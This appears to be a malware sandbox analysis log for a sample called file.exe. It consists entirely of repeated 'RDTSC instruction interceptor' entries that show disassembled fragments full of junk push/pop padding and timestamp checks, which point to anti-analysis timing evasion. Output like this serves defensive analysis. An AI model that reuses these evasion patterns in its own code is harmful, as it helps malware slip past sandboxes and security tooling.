Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3272A second address: F32734 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FAC54CD2CD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F36AEF second address: F36B0D instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FAC54ED35A6h 0x00000008 je 00007FAC54ED35A6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jl 00007FAC54ED35A8h 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 push ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F36B0D second address: F36B11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F36B11 second address: F36B2E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54ED35B9h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F36C87 second address: F36C8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F36C8B second address: F36CA7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007FAC54ED35B2h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F36E34 second address: F36E6B instructions: 0x00000000 rdtsc 0x00000002 js 00007FAC54CD2CE2h 0x00000008 jmp 00007FAC54CD2CDCh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jl 00007FAC54CD2CD8h 0x00000017 pushad 0x00000018 popad 0x00000019 jmp 00007FAC54CD2CE7h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F37147 second address: F37152 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F37413 second address: F37424 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAC54CD2CDDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F37814 second address: F37821 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FAC54ED35A6h 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F37A91 second address: F37AA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAC54CD2CE4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3F600 second address: F3F604 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3F604 second address: F3F61A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAC54CD2CE0h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3F61A second address: F3F62D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAC54ED35AFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3F62D second address: F3F631 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3E406 second address: F3E410 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3E410 second address: F3E414 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3E414 second address: F3E45F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FAC54ED35A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 je 00007FAC54ED35A6h 0x00000016 push edx 0x00000017 pop edx 0x00000018 jmp 00007FAC54ED35B3h 0x0000001d jo 00007FAC54ED35A6h 0x00000023 popad 0x00000024 pushad 0x00000025 jmp 00007FAC54ED35AEh 0x0000002a jno 00007FAC54ED35A6h 0x00000030 pushad 0x00000031 popad 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFAA1C second address: EFAA20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFAA20 second address: EE1B5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov edi, dword ptr [ebp+122D2AFEh] 0x00000010 call dword ptr [ebp+122D39E0h] 0x00000016 jmp 00007FAC54ED35B3h 0x0000001b pushad 0x0000001c push edi 0x0000001d pushad 0x0000001e popad 0x0000001f jmp 00007FAC54ED35B4h 0x00000024 pop edi 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 popad 0x00000029 push ecx 0x0000002a pop ecx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFABBC second address: EFABC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFB081 second address: EFB0A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FAC54ED35ADh 0x0000000b jg 00007FAC54ED35A6h 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFB0A2 second address: EFB0F6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jmp 00007FAC54CD2CE7h 0x00000010 mov eax, dword ptr [eax] 0x00000012 pushad 0x00000013 jng 00007FAC54CD2CD8h 0x00000019 push edx 0x0000001a pop edx 0x0000001b jno 00007FAC54CD2CECh 0x00000021 popad 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push eax 0x0000002a pop eax 0x0000002b pop eax 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFB1AE second address: EFB1B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFB1B3 second address: EFB1BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFB329 second address: EFB32E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFB32E second address: EFB350 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAC54CD2CE2h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 pop eax 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFB350 second address: EFB388 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FAC54ED35BFh 0x00000008 jmp 00007FAC54ED35B9h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 pushad 0x00000014 jmp 00007FAC54ED35ACh 0x00000019 push eax 0x0000001a push edx 0x0000001b push esi 0x0000001c pop esi 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFB4D9 second address: EFB4F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAC54CD2CE9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFB660 second address: EFB668 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFB668 second address: EFB675 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFB675 second address: EFB67B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFB9C4 second address: EFB9C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFB9C8 second address: EFB9CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFBDF3 second address: EFBE5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ebx 0x0000000a call 00007FAC54CD2CD8h 0x0000000f pop ebx 0x00000010 mov dword ptr [esp+04h], ebx 0x00000014 add dword ptr [esp+04h], 0000001Ch 0x0000001c inc ebx 0x0000001d push ebx 0x0000001e ret 0x0000001f pop ebx 0x00000020 ret 0x00000021 mov edi, dword ptr [ebp+122D26E1h] 0x00000027 lea eax, dword ptr [ebp+1247F74Eh] 0x0000002d push 00000000h 0x0000002f push eax 0x00000030 call 00007FAC54CD2CD8h 0x00000035 pop eax 0x00000036 mov dword ptr [esp+04h], eax 0x0000003a add dword ptr [esp+04h], 00000018h 0x00000042 inc eax 0x00000043 push eax 0x00000044 ret 0x00000045 pop eax 0x00000046 ret 0x00000047 mov di, E4AAh 0x0000004b push eax 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 jmp 00007FAC54CD2CDCh 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFBE5F second address: EFBE73 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54ED35B0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3E75B second address: F3E78D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAC54CD2CE7h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FAC54CD2CE2h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3E78D second address: F3E791 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3E791 second address: F3E7A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54CD2CE4h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3E8FF second address: F3E90E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jbe 00007FAC54ED35A6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3EBA7 second address: F3EBAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3EBAD second address: F3EBB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3EBB1 second address: F3EBBB instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FAC54CD2CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3EBBB second address: F3EBC4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3EBC4 second address: F3EBD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007FAC54CD2CDEh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3F1D6 second address: F3F1DB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F44C6F second address: F44C7E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a push edi 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F44C7E second address: F44CA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 jg 00007FAC54ED35A6h 0x0000000f jns 00007FAC54ED35A6h 0x00000015 jc 00007FAC54ED35A6h 0x0000001b popad 0x0000001c jmp 00007FAC54ED35ABh 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F44CA8 second address: F44CAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBD61C second address: EBD620 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBD620 second address: EBD63D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FAC54CD2CE4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBD63D second address: EBD651 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 jng 00007FAC54ED35E3h 0x0000000c push eax 0x0000000d push edx 0x0000000e ja 00007FAC54ED35A6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBD651 second address: EBD66D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54CD2CE8h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4476B second address: F4476F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4476F second address: F44781 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c je 00007FAC54CD2CD6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F44915 second address: F44939 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007FAC54ED35B9h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F44939 second address: F44948 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FAC54CD2CD6h 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F44948 second address: F4494C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4494C second address: F44952 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F44952 second address: F4495F instructions: 0x00000000 rdtsc 0x00000002 je 00007FAC54ED35A8h 0x00000008 pushad 0x00000009 popad 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F46292 second address: F4629A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F49022 second address: F49026 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F49026 second address: F49041 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FAC54CD2CD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jo 00007FAC54CD2CD6h 0x00000013 jp 00007FAC54CD2CD6h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F48BF3 second address: F48C17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FAC54ED35A6h 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FAC54ED35AFh 0x00000011 popad 0x00000012 je 00007FAC54ED35B7h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F48C17 second address: F48C3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAC54CD2CDBh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FAC54CD2CE3h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4D0E8 second address: F4D0FA instructions: 0x00000000 rdtsc 0x00000002 jns 00007FAC54ED35A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007FAC54ED35ACh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4D0FA second address: F4D116 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007FAC54CD2CE5h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4D881 second address: F4D885 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F52117 second address: F52125 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jnl 00007FAC54CD2CD6h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F52125 second address: F5212B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F518E9 second address: F518F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007FAC54CD2CD6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F51E5E second address: F51E62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F51E62 second address: F51E84 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FAC54CD2CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FAC54CD2CE8h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F51E84 second address: F51E89 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F58911 second address: F58928 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54CD2CE1h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F58928 second address: F5893B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAC54ED35AFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5893B second address: F58969 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FAC54CD2CDAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FAC54CD2CE3h 0x00000015 jg 00007FAC54CD2CD6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F58969 second address: F58983 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jnc 00007FAC54ED35A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F58983 second address: F58987 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F571CF second address: F571D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F571D5 second address: F571D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F57358 second address: F5735D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5735D second address: F57369 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FAC54CD2CD6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F574F7 second address: F574FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F574FB second address: F57509 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FAC54CD2CDCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5765D second address: F57679 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FAC54ED35B6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F57A6E second address: F57A72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5E426 second address: F5E444 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54ED35B2h 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jng 00007FAC54ED35A6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5E444 second address: F5E448 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5EC77 second address: F5EC98 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FAC54ED35B5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5F27A second address: F5F285 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FAC54CD2CD6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5F285 second address: F5F29A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAC54ED35B1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5F588 second address: F5F59C instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FAC54CD2CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jp 00007FAC54CD2CD6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5F59C second address: F5F5A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
